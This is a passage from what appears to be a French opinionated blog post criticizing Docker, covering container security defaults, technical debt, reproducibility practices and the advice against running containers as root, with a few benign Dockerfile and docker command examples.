Chez Docker on ne rigole pas avec la sécurité. Tout utilisateur capable d'exécuter des commandes docker est considéré comme root. Ce que vous venez de voir n'est pas une élévation de privilèges; c'est voulu par design.

Les fichiers communs hôte-container

Les fichiers accessibles depuis l'hôte, produits et utilisés par le container appartiennent au root par défaut. Dans ces conditions le chmod 777 est omniprésent alors qu'il est pourtant le meilleur signal d'alerte qui indique que vous n'avez aucune idée de ce que vous faites !
Ce n'est pas moi qui le dis : Nginx configuration pitfalls.

Bilan

L'idée du "de toute façon c'est isolé on risque rien, pas besoin de se compliquer" est une des pires idées dans le monde de l'administration des systèmes.

Le problème est que les quelques trucs tordus qu'on vient de voir sont imparables pour la plupart des utilisateurs.

En cause :

  • Mauvaise gestion des droits,
  • Pas d'isolation stricte des processus (via SELinux ou AppArmor),
  • Docker ne tourne évidemment pas dans une VM chez ces personnes...

Des effets de bord inédits sur la qualité du code

Vous arrivez sur une plateforme quelconque (ex: Un cluster de calcul) mais celui-ci est en pleine souffrance; il est saturé et ses outils ne sont pas à jour.

Devinez quelle solution on vous propose alors ?

J'utilise docker car le cluster de calcul réservé à Docker est inoccupé, hébergé sur des machines plus récentes/puissantes. Et surtout il me permet d'accéder à des outils à jour. C'est bien, je suis content mes calculs ont des chances d'aller plus vite. Mais à bien y réfléchir, c'est encore un usage détourné à ajouter sur une liste déjà trop longue...


Prenons l'exemple des interpréteurs Python (LE langage rêvé dans le monde de la recherche), voici les dernières versions de ses interpréteurs sur l'infrastructure :

Python 2.7 (r27:82500, Jul  6 2010, 11:43:55)
Python 3.3.2 (default, Oct 10 2013, 16:36:12)

Python 2.7 bénéficie de nombreux backports (fonctionnalités, corrections de bugs) en provenance de Python 3.x. Ceci devait prendre fin en 2015 et a été prolongé jusqu'en 2020. Python 2.7 est un langage qui est censé être mort mais encore fortement utilisé.

Or, la version disponible a été compilée il y a 6 ans. 12 versions ont vu le jour depuis, dont certaines sont utiles sur un cluster (sisi) ! (Cf. concurrent.futures pour le multiprocessing par ex.)

Idem pour Python 3.3 et ses 3 ans de retard. Depuis nous en sommes à la version 3.5 qui enrichit elle aussi le langage avec de très nombreuses fonctionnalités.

Côté compilateurs, il n'est pas rare d'entendre des développeurs s'abstenir d'utiliser les fonctionnalités offertes par C++11 car certaines plateformes ne peuvent compiler leurs codes. C++11 a été livré en 2011, nous en sommes à la norme C++14 livrée en 2014, et nous attendons la norme C++17 en 2017.

Ces situations contribuent à créer de la dette technique en développant avec des technologies dépassées.


En orientant les développeurs vers les containers on simplifie la vie des AdminSys (encore que je leur souhaite bien du courage pour ça) mais :

  • J'ai tendance à penser que la maintenance des autres infrastructures n'est plus prioritaire.
  • On force les gens à concevoir des logiciels Docker-compliant. (processus isolés, toujours en foreground, abandon des démons UNIX, pipelines de déploiement spécifiques, etc.).
  • Il est préoccupant de concevoir un logiciel en le rendant si dépendant d'une technologie.

La communauté

Docker soufre d'un design applicatif terriblement mauvais (les containers remis à zéro à chaque redémarrage en sont un exemple flagrant). Or si vous commencez à critiquer le projet et à vous plaindre on vous répondra 2 choses:

  • Si vous n'aimez pas Docker ne l'utilisez pas.

À cela je réponds que le prosélytisme est tellement acharné afin que ce projet atteigne une masse critique, qu'un nombre colossal de personne ne peut plus y échapper !

  • Cette feature est voulue par design.

...

Un exemple lien:

If this is not recommended feature to use - why is it silent and default one?
If you do not care for people using devicemapper - I might be even ok with this.
But do inform the user about it!
Do you realize the amount of headache people have due to this amazing 'workaround' you settled on??

Avec sa réponse lapidaire :

no one forced you to use Docker. there is a lot of learning that should
be done before you configure your production server, it's a valid question,
why did these issues make it through your test environment into prod?

Les signes qui indiquent que vous faites n'importe quoi avec Docker

Ceci est tiré de la documentation et des conseils donnés par les devs si vous voulez bénéficier des avantages des containers (Cf. 10 things to avoid in Docker containers). Il s'agit de prévenir plutôt que de guérir...

Ne pas stocker de données à l'intérieur. Ne pas stocker d'identifiants dans l'image : préférer des variables d'environnement passées depuis l'extérieur du container.

Une version d'une application devrait pouvoir remplacer une ancienne sans impact ou perte de données. Les données et fichiers de configuration doivent être stockées dans un volume...

Notons qu'il n'y a pas de solution simple pour faire des backups des données produites dans les containers ! Et pour cause : il ne doit pas y en avoir.

Docker est conçu pour les logiciels; pas pour les données

La question à 1 million d'€ est la suivante : Quel type d'application peut être empaquetée dans ces conditions ? Eh bien ce sont les applications qui ne traitent pas de données utilisateur, et ne génèrent pas de données destinées à être réutilisées. Manque de chance, c'est quand même plutôt rare (Docker vs reality : 0-1) !

Pas de déploiement des applications dans des containers existants et en cours d'exécution (en dehors de la phase de dev).

L'application devrait faire partie de l'image.
=> Les containers ne devraient pas être modifiés (immuables).

Ne pas utiliser d'image à 1 seule couche : Les multiples couches servent à faciliter la recréation, et la distribution de l'image.

N'aplatissez pas les images que vous distribuez !
=> N'utilisez pas la commande:

docker export my_awesome_cont | d import - my_awesome_flat_cont

Ne pas créer des images depuis des containers cours d'exécution : Ne pas utiliser docker commit. Cette méthode n'est pas reproductible. Utiliser toujours les Dockerfile dont les changements peuvent être suivis par des gestionnaires de version !

Donc ne faites pas de modifications dans un container qui ne puissent être spécifiées dans un Dockerfile ! Pensez reproductibilité et pensez aux gens qui travailleront sur votre image et qui pourraient passer un temps monstrueux à deviner ce que vous y avez fait (vécu) !

N'échangez pas d'images Docker échangez des Dockerfile ! Dites-vous qu'une image Docker est similaire à un binaire. Or on sait depuis la nuit des temps que c'est le partage des sources (le Dockerfile) qui permet la reproductibilité.

=> N'utilisez pas la commande:

docker export my_awesome_cont

Ne pas utiliser les tags "latest" : ils empêchent la sélection précise des versions des images.

Encore par souci de reproductibilité, la version latest d'une application ou d'une distribution ne sera pas la même dans 6 mois. Si vous utilisez ce tag vous tuez dans l'œuf la reproductibilité de votre déploiement.
On ne gère pas ses versions en renommant ses fichiers en .old, version du lundi après-midi vers 16h, version avant pause-café ! Donc n'utilisez pas ces tags pourtant disponibles avec Docker.

Ne pas faire tourner plus d'un processus par container: C'est une prise de tête dans la gestion, la récupération des logs et la mise à jour des processus de manière individuelle.

Certains outils comme Supervisord permettent toutefois de simplifier cette mise en place souvent incontournable...

Ne pas exécuter de processus en tant qu'utilisateur root !

Cf. la citation des auteurs du projet que je recopie ici :

Quand Docker sera plus mature, des options par défaut plus sécurisées arriveront. En attendant il faut utiliser l'instruction USER pour spécifier l'utilisateur qui fera tourner les containers.

By default docker containers run as root. A docker container running as root has full control of the host system. As docker matures, more secure default options may become available. For now, requiring root is dangerous for others and may not be available in all environments. Your image should use the USER instruction to specify a non-root user for containers to run as. If your software does not create its own user, you can create a user and group in the Dockerfile as follows:

RUN groupadd -r swuser -g 433 && \
useradd -u 431 -r -g swuser -d <homedir> -s /sbin/nologin -c "Docker image user" swuser && \
chown -R swuser:swuser <homedir>


Reusing an Image with a Non-root User

The default user in a Dockerfile is the user of the parent image. For example, if your image is derived from an image that uses a non-root user swuser, then RUN commands in your Dockerfile will run as swuser.

If you need to run as root, you should change the user to root at the beginning of your Dockerfile then change back to the correct user with another USER instruction:

USER root
RUN yum install -y <some package>
USER swuser

Isolez vos containers dans des machines virtuelles, ou via une configuration stricte de SELinux ou AppArmor.

Voir le chapitre sur les droits.

Ne pas compter sur l'adresse IP pour gérer les ressources sur le réseau : Cette adresse peut changer lors du démarrage/arrêt des containers. Utiliser les variables d'environnement pour spécifier les adresses et ports des services externes à contacter.


Il n'y a aucune excuse pour se soustraire à ces recommandations plus que raisonnables. Certaines des mauvaises pratiques que l'on tente (en vain) de déconseiller vont vous ramener à l'époque où les gestionnaires de version n'existaient pas. Vos images seront des encapsulations de foutoir, dans lesquelles personne ne saura qui a fait quoi.

Conclusion

Avec le temps et le recul, on s'aperçoit que Docker supprime tout ce qui rend les plateformes GNU/Linux révolutionnaires à cause de l'unique prétexte que les applications sont difficiles à maintenir. Je pense essentiellement au système de dépendances auquel tout le monde fait appel tous les jours lors de l'installation du moindre logiciel sur une distribution.

Les containers reviennent à prendre votre algo, le mettre dans une boite en métal, puis le planquer dans un Datacenter pour qu'il ne puisse se connecter à rien, et le laisser là sans que personne ne sache qu'il existe.

Ici, boite en métal = métaphore d'une très mauvaise idée.

Docker est un formidable outil... pour créer de la dette technique. C'est une techno chronophage, qui introduit des vulnérabilités sur vos systèmes, non mature avec de nombreux effets de bord, et des comportements imprévisibles, elle est inutilisable aussi bien en développement qu'en production. La techno se cherche et entraîne au cours de cette phase qui dure depuis déjà trop longtemps, de nombreux développeurs/instituts/infrastructures grâce à force arguments trompeurs.

Docker permet de repousser la date de la maintenance/refactoring du code. Ceci n'est jamais une bonne idée car in fine on aura des personnes aptes à gérer des containers opaques mais qui ne sauront rien de ce qu'il s'y passe (autant compiler sous licence restrictive sans publication des sources !). Docker rend donc de facto les workflows opaques et non maintenables.

Docker transforme vos forges en dépôts de binaires; avez-vous envie qu'elles ressemblent à ceci :

forge_docker Des images de plusieurs centaines de Mo atteignant parfois des Go sur les forges.

Avec les containers, les admins sys ou intégrateurs, ont trouvé un moyen de se délester d'une partie de leur responsabilité (sécurité comprise) en faveur des développeurs. Or ceux-ci n'ont pas la maturité normalement acquise en plusieurs décennies de travail dans ce domaine.
Les containers abritent des composants système (dont les développeurs se moquent) supportant des applications (dont les développeurs se préoccupent); le résultat inévitable est l'obtention de containers vulnérables et mal conçus.

J'aimerais vraiment connaître le point de vue de quelqu'un qui travaille dans ce domaine...
EDIT post-publication: J'en ai un (The sad state of sysadmin in the age of containers ... J'aurais même pu copier-coller son article tellement il ressemble en tout point à ce que je développe ici...

it was pointed out that this started way before Docker: »Docker is the new 'curl | sudo bash'«. That's right, but it's now pretty much mainstream to download and run untrusted software in your "datacenter". That is bad, really bad. Before, admins would try hard to prevent security holes, now they call themselves "devops" and happily introduce them to the network themselves!

Bref :

  • N'enfermez pas vos logiciels dans des solutions qui vous enferment;
  • Respectez-vous. Écrivez vos logiciels comme vous le souhaitez, pas comme les entreprises du cloud le veulent.
  • Apprenez à concevoir des scripts shell.
  • Apprenez à utiliser les technologies matures qui existent déjà : KISS (Keep It Simple Stupid).

C’est fini ; le concept de catharsis n’a jamais été aussi bien mis en pratique...
Ces technos prisées par les hipsters qui émergent régulièrement commencent à être franchement lassantes; d'autant plus que la hype amène beaucoup de gens à s'exprimer; chacun y va de sa propre recommandation, or c'est comme cela que les mésusages se transmettent. Pourtant dans le lot certains savent ce qu'ils font avec Docker, parce qu'ils en connaissent les limites. Tout ceci serait plutôt rigolo si ça n'entravait pas le travail de beaucoup de personnes (et mes week-ends). Restez loin des technos liées aux containers.

À venir :

  • Peut-être un cas d'école sur une utilisation raisonnable d'un container.
  • Des alternatives ancestrales (qui elles marchent et ont fait leurs preuves) pour le packaging, (paquets Debian, Checkinstall etc.).
  • systemd-spawn et LXD aussi paraissent être de bien meilleurs choix qu'une connerie de wrapper type Docker tant au sujet de la gestion du réseau que pour la persistance des données.

Goodies

(Toujours rêvé d'ouvrir une section de ce type :p)

  • Fond d'écran (MQ 1680x1050) : alt_text
  • Illustration d'accueil (HQ 7000x2805) : alt_text
  • L'incontournable Hitler uses Docker :

Sources

Je tiens à remercier tous ces gens qui s'expriment sur cette techno. Grâce à eux et en voyant que je rencontrais des problèmes similaires, je me suis senti moins seul au cours de mes docker-errances.

Merci également à mes relecteurs qui ont contribué à rendre ce texte politiquement correct alors que j'avais tendance à me transformer en une sorte de Jack Nicholson dans Shining...